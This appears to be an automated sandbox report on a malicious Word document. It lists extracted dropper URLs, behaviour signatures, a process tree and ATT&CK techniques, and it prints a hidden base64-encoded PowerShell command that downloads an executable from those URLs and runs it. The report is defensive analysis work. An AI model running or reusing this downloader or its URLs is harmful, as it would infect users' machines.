Analysis

  • max time kernel
    26s
  • resource
    win10v191014
  • submitted
    09-12-2019 13:52

General

  • Target

    918b8d165836e26ba2c38b5ea59b140cd7dd7d41244feedcc11856de22af244d.doc

  • Sample

    191209-qs8bh22x9a

  • SHA256

    918b8d165836e26ba2c38b5ea59b140cd7dd7d41244feedcc11856de22af244d

Score
8/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://www.alfalah-ent.com/cms/a7rwpyxb9-k33-1101120868/

exe.dropper

https://raasset.com/x/crHctWU/

exe.dropper

http://alexandrearealty.com/tmp/OyjFYg/

exe.dropper

http://mehuaedxb.com/css/qIkFIs/

exe.dropper

http://mosaiclabel.com/4f9xnykaf/amz4jg4-x3i-459569728/

Signatures

  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Checks system information in the registry 2 TTPs 2 IoCs

    System information is often read in order to detect sandboxing environments.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\918b8d165836e26ba2c38b5ea59b140cd7dd7d41244feedcc11856de22af244d.doc" /o ""
    1⤵
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of FindShellTrayWindow
    PID:4852
  • C:\Windows\system32\SppExtComObj.exe
    C:\Windows\system32\SppExtComObj.exe -Embedding
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:384
    • C:\Windows\System32\SLUI.exe
      "C:\Windows\System32\SLUI.exe" RuleId=eeba1977-569e-4571-b639-7623d8bfecc0;Action=AutoActivate;AppId=55c92734-d682-4d71-983e-d6ec3f16059f;SkuId=2de67392-b7a7-462a-b1ca-108dd189f588;NotificationInterval=1440;Trigger=TimerEvent
      2⤵
        PID:1896
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABJAGwAdwB3AGsAZwBiAHIAcgA9ACcATQBsAHkAZABmAHQAcQBxAGgAJwA7ACQAVABpAHQAdQBjAGUAcgBzAGkAaQBzACAAPQAgACcAOQAzADgAJwA7ACQASQBvAGkAZgBiAHgAZAB6AGoAdQB2AGYAPQAnAE0AYwByAHQAeABiAGkAbgBpAHEAZgBuACcAOwAkAFkAYwBvAGQAbwBqAG4AeQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAVABpAHQAdQBjAGUAcgBzAGkAaQBzACsAJwAuAGUAeABlACcAOwAkAFMAYwB3AGkAdQByAG4AaQBjAGIAYQA9ACcAQgB3AHIAcQBzAGwAbgBoAG4AeQBvACcAOwAkAE0AbABtAGcAZgB1AHAAbwB4AGUAdQBwAHUAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4AZQBUAC4AdwBFAGIAQwBsAGkARQBuAHQAOwAkAEkAaABrAG8AbQBoAHQAYwA9ACcAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAGEAbABmAGEAbABhAGgALQBlAG4AdAAuAGMAbwBtAC8AYwBtAHMALwBhADcAcgB3AHAAeQB4AGIAOQAtAGsAMwAzAC0AMQAxADAAMQAxADIAMAA4ADYAOAAvACoAaAB0AHQAcABzADoALwAvAHIAYQBhAHMAcwBlAHQALgBjAG8AbQAvAHgALwBjAHIASABjAHQAVwBVAC8AKgBoAHQAdABwADoALwAvAGEAbABlAHgAYQBuAGQAcgBlAGEAcgBlAGEAbAB0AHkALgBjAG8AbQAvAHQAbQBwAC8ATwB5AGoARgBZAGcALwAqAGgAdAB0AHAAOgAvAC8AbQBlAGgAdQBhAGUAZAB4AGIALgBjAG8AbQAvAGMAcwBzAC8AcQBJAGsARgBJAHMALwAqAGgAdAB0AHAAOgAvAC8AbQBvAHMAYQBpAGMAbABhAGIAZQBsAC4AYwBvAG0ALwA0AGYAOQB4AG4AeQBrAGEAZgAvAGEAbQB6ADQAagBnADQALQB4ADMAaQAtADQANQA5ADUANgA5ADcAMgA4AC8AJwAuACIAUwBQAGAATABJAFQAIgAoACcAKgAnACkAOwAkAE0AdQBnAHIAegBuAGoAbwBnAGcAPQAnAEwAYgBkAGUAYQBxAHMAZABtAGcAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEMAbgBnAGQAYgBpAGsAagBzAHEAbAAgAGkAbgAgACQASQBoAGsAbwBtAGgAdABjACkAewB0AHIAeQB7ACQATQBsAG0AZwBmAHUAcABvAHgAZQB1AHAAdQAuACIAZABPAHcAbgBMAGAATwBgAEEAZABmAGAASQBMAEUAIgAoACQAQwBuAGcAZABiAGkAawBqAHMAcQBsACwAIAAkAFkAYwBvAGQAbwBqAG4AeQApADsAJABBAG4AYwB6AGgAZQBkAGkAaQBpAGUAPQAnAEsAYgBuAGsAYQB1AHAAcwAnADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAFkAYwBvAGQAbwBqAG4AeQApAC4AIgBMAEUAYABOAGcAVABIACIAIAAtAGcAZQAgADIAMgA5ADIAMgApACAAewBbAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAXQA6ADoAIgBzAHQAYABBAFIAdAAiACgAJABZAGMAbwBkAG8AagBuAHkAKQA7ACQASgBjAG4AaAB2AHcAegBmAGQAcAA9ACcATABrAGgAYwBkAHEAZQBkAHcAawAnADsAYgByAGUAYQBrADsAJABQAGYAdABtAGwAYgB4AHcAZwBzAHAAPQAnAFcAbQBsAGkAeQBwAG0AcwBwAGIAYQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABNAGMAegBkAG4AegBhAHgAcgBxAGQAbgA9ACcAUgB2AGYAdAB1AGIAbABnACcA
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4024
      • C:\Users\Admin\938.exe
        "C:\Users\Admin\938.exe"
        2⤵
        • Executes dropped EXE
        • Suspicious use of SetWindowsHookEx
        PID:4524

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Discovery

    Query Registry

    3
    T1012

    System Information Discovery

    3
    T1082

    Replay Monitor

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    Downloads